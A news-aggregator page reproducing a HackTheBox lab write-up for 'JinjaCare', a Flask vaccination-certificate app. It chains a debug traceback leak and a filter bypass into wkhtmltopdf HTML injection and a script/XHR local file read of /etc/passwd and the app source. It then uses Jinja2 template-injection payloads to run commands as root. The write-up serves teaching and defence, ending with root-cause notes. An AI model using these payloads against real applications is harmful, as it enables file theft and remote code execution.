🔧 AI Nachrichten Major AI platforms go down in unprecedented simultaneous outage(03.09.2026 um 17:34 Uhr)
🔧 AI Nachrichten ChatGPT, Claude, and Grok Down? Users Report Widespread Outages(03.09.2026 um 19:14 Uhr)
🔧 AI Nachrichten OpenAI Launches GPT-6 Astra, Says We May Have Entered the AGI Era(03.09.2026 um 22:08 Uhr)
🔧 AI Nachrichten Claude Comes to CarPlay as Fifth Major AI Chatbot App(05.09.2026 um 05:31 Uhr)
🔧 AI Nachrichten OpenAI’s GPT-6 Astra Is AGI, Says NVIDIA CEO Jensen Huang(07.09.2026 um 06:31 Uhr)
🔧 AI Nachrichten Blame AI companies for Mac mini and Mac Studio shortage(31.08.2026 um 10:32 Uhr)
🔧 AI Nachrichten Major AI platforms go down in unprecedented simultaneous outage(03.09.2026 um 17:34 Uhr)
🔧 AI Nachrichten ChatGPT, Claude, and Grok Down? Users Report Widespread Outages(03.09.2026 um 19:14 Uhr)
🔧 AI Nachrichten OpenAI Launches GPT-6 Astra, Says We May Have Entered the AGI Era(03.09.2026 um 22:08 Uhr)
🔧 AI Nachrichten Claude Comes to CarPlay as Fifth Major AI Chatbot App(05.09.2026 um 05:31 Uhr)
🔧 AI Nachrichten OpenAI’s GPT-6 Astra Is AGI, Says NVIDIA CEO Jensen Huang(07.09.2026 um 06:31 Uhr)
🔧 AI Nachrichten Blame AI companies for Mac mini and Mac Studio shortage(31.08.2026 um 10:32 Uhr)

🔧 Programmierung 🕛 kürzlich 10 Min Lesezeit
0

HackTheBox : JinjaCare Writeup

↗ Quelle (dev.to)
🗣️ Stimme:
📑 Inhaltsübersicht




Summary



JinjaCare is a Flask-based COVID-19 vaccination verification web app. The intended path chains wkhtmltopdf HTML/local-file injection (via the certificate-generation feature) to disclose the Flask application source, which in turn reveals a post-substitution render_template_string() call — a textbook Server-Side Template Injection (SSTI) pattern. That SSTI is exploited via the Jinja2 sandbox-escape gadget chain (self.__init__.__globals__) to achieve remote code execution running as root.



Attack surface entry point: /verify certificate lookup led nowhere directly, but pivoting through registration → Werkzeug debug traceback → profile management uncovered the real vulnerable chain.






Recon






CODE
curl http://<MACHINE-IP>:<PORT>






The landing page identifies the app as "JinjaCare" — a COVID-19 vaccination verification platform with /monitoring, /verify, and /login routes linked in the nav. The name itself is a strong hint toward Jinja2 template injection somewhere in the app.




CODE
curl -I http://<MACHINE-IP>:<PORT>









CODE
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Jul 2026 05:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16518
Connection: keep-alive
Vary: Cookie






Nginx reverse-proxying a backend app (confirmed Flask later via error tracebacks).






Initial Enumeration — /verify



The /verify endpoint takes a certificate_id parameter via GET and displays a validity result:




CODE
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=%7B%7B7*7%7D%7D"
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=test123"






Both requests returned an identical "Invalid certificate" response with no reflection of the input — this endpoint performs a database lookup before any rendering occurs, ruling out direct SSTI here.






Forcing an Error — Werkzeug Debug Mode



Probing /register with a malformed request (JSON body against a form-expecting endpoint) triggered a full Werkzeug debug traceback:




CODE
curl http://<MACHINE-IP>:<PORT>/register -H "Content-Type: application/json" \
-d '{"username":"tester","email":"[email protected]","password":"tester123"}'









CODE
Traceback (most recent call last):
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1488, in __call__
return self.wsgi_app(environ, start_response)
[... snipped ...]
File "/app/app.py", line 52, in register
email = request.form['email']
File "/usr/local/lib/python3.9/site-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
KeyError: 'email'

<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "4689943sFJltwbtgi7z0";
</script>






The traceback confirmed:





  • Flask app, Python 3.9, source at /app/app.py


  • Werkzeug interactive debugger (EVALEX) is enabled, protected by a PIN


  • /register expects email, name, password form fields



The debugger PIN wasn't computable remotely at this stage (requires MAC address / machine-id not yet disclosed), so this path was set aside in favor of continuing app enumeration.






Registration & Authenticated Surface



Registering an account (POST /register with email, name, password, confirmPassword) succeeded and granted access to an authenticated dashboard at /dashboard, which links to:





  • /profile/personal — name, email, phone, address, DOB, gender, emergency contact


  • /profile/medical — free-text medical record entries (condition, doctor, hospital, notes)


  • /profile/vaccinations — vaccination record entries (vaccine, location, provider)


  • /generate_certificate — generates a PDF vaccination certificate






name field validation on /register



Testing {{7*7}} as a registration name returned a flash message: "Name can only contain letters and spaces" — a server-side regex filter (^[a-zA-Z ]+$) blocks SSTI attempts at registration time.




CODE
Set-Cookie: session=eyJfZmxhc2hlcyI6...HPlMN2olIbpiTuNK38_0bsSg9BA; HttpOnly; Path=/
Location: /register

(decoded flash message: "Name can only contain letters and spaces")






Prefix/newline bypass attempts (test{{7*7}}, test\n{{7*7}}) were also rejected with the identical message, indicating the regex fully anchors the string.






PDF Certificate Generation — wkhtmltopdf



/generate_certificate returns a PDF built with wkhtmltopdf 0.12.6, confirmed via PDF metadata:




CODE
%PDF-1.4
1 0 obj
<<
/Title ()
/Creator (wkhtmltopdf 0.12.6)
/Producer (Qt ...






Testing medical/vaccination free-text fields for SSTI ({{7*7}} in condition, doctor, notes, location, provider) showed the literal string reflected unescaped in /profile/medical — but crucially, these fields are not used by /generate_certificate at all; the certificate only pulls the account's name field.






Bypassing the name filter via /profile/personal



The letters-only regex applied to /register is not re-applied on the profile-update endpoint (POST /profile/personal), which updates the same name column with no validation:




CODE
curl -i -s http://<MACHINE-IP>:<PORT>/profile/personal -b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "name=<h1>SSTITEST123</h1>" \
--data-urlencode "email=<email>" [... other required fields ...]

curl -s http://<MACHINE-IP>:<PORT>/generate_certificate -b cookies.txt -o cert.pdf
pdftotext cert.pdf -






<h1>SSTITEST123</h1> rendered as a real heading in the resulting PDF:




CODE
JinjaCare
COVID-19 Vaccination Certificate
Name:
SSTITEST123
Official Document - 99f85f34-ca50-4b3c-b079-4c53ee358a5a
Date of Issue: 2026-07-14
Vaccination Status: Fully Vaccinated






— confirming raw HTML injection into the wkhtmltopdf rendering pipeline via the name field.






Local File Read via wkhtmltopdf



A direct <iframe src=file:///etc/passwd> was blocked at the frame-load level:




CODE
Failed to load URL file:///etc/passwd.
Frame load interrupted by policy change
WebKit Error 102






This indicates local file access is restricted at the navigation/frame-load layer — but JavaScript execution inside the rendered page is not restricted, and a synchronous XHR request to a file:// URI bypasses the navigation-level policy check:




CODE
--data-urlencode 'name=<script>var x=new XMLHttpRequest();x.open("GET","file:///etc/passwd",false);x.send();document.write(x.responseText);</script>'






Regenerating the certificate returned the full contents of /etc/passwd embedded in the PDF text:




CODE
Name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
[... snipped, full standard /etc/passwd entries ...]
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin






confirming arbitrary local file read.






Reading application source



The same technique against file:///app/app.py (path disclosed by the earlier Werkzeug traceback) dumped the complete Flask application source into the certificate PDF:




CODE
from flask import Flask, render_template, request, redirect, url_for, flash, send_file, session,
render_template_string
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash
from database import init_db, get_db
import re, pdfkit, os, tempfile, qrcode, io, base64, uuid, random
from functools import wraps
from datetime import datetime, timedelta

[... snipped: app init, User model, /register, /login, /dashboard routes ...]

@app.route('/generate_certificate')
@login_required
def generate_certificate():
db = get_db()
try:
cert_id = str(uuid.uuid4())
db.execute('INSERT INTO certificates (user_id, certificate_id, issue_date, status) VALUES (?, ?, datetime(\'now\'), \'valid\')', [current_user.id, cert_id])
db.commit()
[... QR code generation snipped ...]
user = db.execute('SELECT * FROM users WHERE id = ?', [current_user.id]).fetchone()
template = ""
try:
with open("templates/certificate_template.html") as r:
template = r.read()
template = template.replace("{{ certificate_id }}", cert_id)
template = template.replace("{{ name }}", user['name'])
template = template.replace("{{ status }}", "Fully Vaccinated")
template = template.replace("{{ issue_date }}", datetime.now().strftime("%Y-%m-%d"))
template = template.replace("{{ qr_code_url }}", qr_code_url)
html = render_template_string(template)
except Exception as template_error:
raise
[... pdfkit conversion, options, send_file snipped ...]
except Exception as e:
flash(f'Error generating certificate: {str(e)}', 'error')
return redirect(url_for('dashboard'))

[... snipped: /monitoring, /verify, /profile/personal, /profile/medical, /profile/vaccinations routes ...]

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')









Root Cause — Post-Substitution render_template_string()



The disclosed source revealed the vulnerable logic in generate_certificate():




CODE
with open("templates/certificate_template.html") as r:
template = r.read()
template = template.replace("{{ name }}", user['name'])
...
html = render_template_string(template)






The user-controlled name is substituted into the template as a raw string before the entire result is passed to render_template_string(). Anything the attacker places where {{ name }} was gets re-parsed and executed as live Jinja2 syntax — this is a classic and highly exploitable SSTI antipattern, distinct from (and more dangerous than) the raw HTML injection used to reach it.



Crucially, this path bypasses the letters-only filter entirely, since that filter only exists on /register, not on /profile/personal.






Exploitation — SSTI to RCE



Confirming template execution:




CODE
--data-urlencode "name={{7*7}}"









CODE
JinjaCare
COVID-19 Vaccination Certificate
Name: 49
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14






→ confirms genuine Jinja2 evaluation (not string reflection).



Escaping the Jinja2 sandbox via the standard Flask gadget chain:




CODE
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"









CODE
JinjaCare
COVID-19 Vaccination Certificate
Name: uid=0(root) gid=0(root) groups=0(root)
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14






Further confirmed with directory listing:




CODE
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}"









CODE
Name: __pycache__ app.py config.py data database.py requirements.txt reset_db.py static
supervisord.log supervisord.pid templates






Confirmed remote code execution running as root, via a one-shot request/response chain: submit payload to /profile/personal → trigger /generate_certificate → extract command output from the resulting PDF with pdftotext.






Flag



Locating the flag:




CODE
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('find / -iname \"*flag*\" 2>/dev/null').read() }}"









CODE
[... snipped: /proc and /sys false-positive paths from find ...]
/flag.txt






Reading it:




CODE
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}"









CODE
HTB{REDACTED}









Attack Chain






CODE
┌─────────────────────┐
│ /register (POST) │ name field: letters-only regex enforced
└──────────┬───────────┘
│ regex blocks direct SSTI here

┌─────────────────────┐
│ Malformed /register │ triggers Werkzeug debug traceback
│ request (JSON body) │ → leaks /app/app.py path, Flask/Py3.9,
└──────────┬───────────┘ EVALEX debugger enabled

┌─────────────────────┐
│ Authenticated session │ register + login → /dashboard
└──────────┬───────────┘

┌──────────────────────────┐
│ /profile/personal (POST) │ name field: NO validation
│ │ (filter only exists on /register)
└──────────┬─────────────────┘

┌──────────────────────────┐
│ /generate_certificate │ wkhtmltopdf renders name as raw HTML
│ (wkhtmltopdf 0.12.6) │ <script> XHR bypasses file:// frame-load
└──────────┬─────────────────┘ policy → arbitrary local file read

┌──────────────────────────┐
│ file:///app/app.py leaked │ reveals: template.replace("{{ name }}",
│ via XHR + document.write │ user['name']) → render_template_string()
└──────────┬─────────────────┘

┌──────────────────────────┐
│ SSTI in name field │ {{7*7}} → 49 (confirmed execution)
└──────────┬─────────────────┘

┌──────────────────────────┐
│ Jinja2 sandbox escape │ self.__init__.__globals__.__builtins__
│ → os.popen() │ .__import__('os').popen(cmd).read()
└──────────┬─────────────────┘

┌──────────────────────────┐
│ RCE as root │ id → uid=0(root)
│ │ cat /flag.txt → HTB{REDACTED}
└──────────────────────────┘









Key Vulnerabilities


















































# Vulnerability Location Impact
1 Verbose debug traceback (Werkzeug EVALEX) Malformed request to /register
Discloses app source path, framework/version, internal file structure
2 Inconsistent input validation
/register (filtered) vs /profile/personal (unfiltered)
Same name field trusted differently depending on entry point — filter bypass
3 HTML injection via wkhtmltopdf /generate_certificate Attacker-controlled HTML rendered in generated PDF
4
file:// navigation policy bypassed via JS/XHR
wkhtmltopdf rendering of name field Arbitrary local file read (LFI), used to disclose app source
5 Post-substitution render_template_string()

generate_certificate() in app.py
Full Server-Side Template Injection
6 Jinja2 sandbox escape via self.__init__.__globals__
SSTI payload in name field Remote Code Execution as root





Notes




  • The letters-only regex on /register (^[a-zA-Z ]+$) is a good example of validation applied at the wrong layer — it protects the initial write path but is silently absent from the profile-update path that writes to the exact same database column.

  • wkhtmltopdf's disabling of direct file:// frame navigation is a reasonable mitigation, but it does not account for script-driven (XHR) file access within the rendered page — a gap worth checking for on any box using this rendering engine.

  • The root cause (template.replace() followed by render_template_string()) is a pattern worth recognizing on sight: any code that does string substitution into a template before invoking Jinja2's renderer effectively hands the substituted value the same execution privileges as the template author.

Vollständiger Original-Bericht
Ausführliche Details, Code-Beispiele & Hersteller-Stellungnahme auf dev.to.
↗ Original-Artikel auf dev.to lesen
Wie bewertest du diesen Beitrag?
1 Klick Feedback
Teilen mit Netzwerk & Team:

Community-Analysen & Experten-Meinungen 0

Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf Eigene Analyse verfassen“!
Community Pulse: Relevanz-Einschätzung
1 Klick Experten-Votum
🔴 Akute Relevanz 0%
🟡 In Evaluierung 0%
🟢 Keine Auswirkung 0%
Spannende Innovation 0%
Verwandte Story-Cluster & Quellen (Vektor-KI)
Port 8095 Engine
3 Quellen
GPT-6 Astra Release Today? OpenAI’s Next Major AI Model Is Almost Here
1 Quelle
Apple accuses OpenAI of destroying evidence as trade-secrets fight intensifies
1 Quelle
Major AI platforms go down in unprecedented simultaneous outage
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten HackTheBox : JinjaCare Writeup

Thematisch verwandte Begriffe: HackTheBox, JinjaCare, Writeup · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...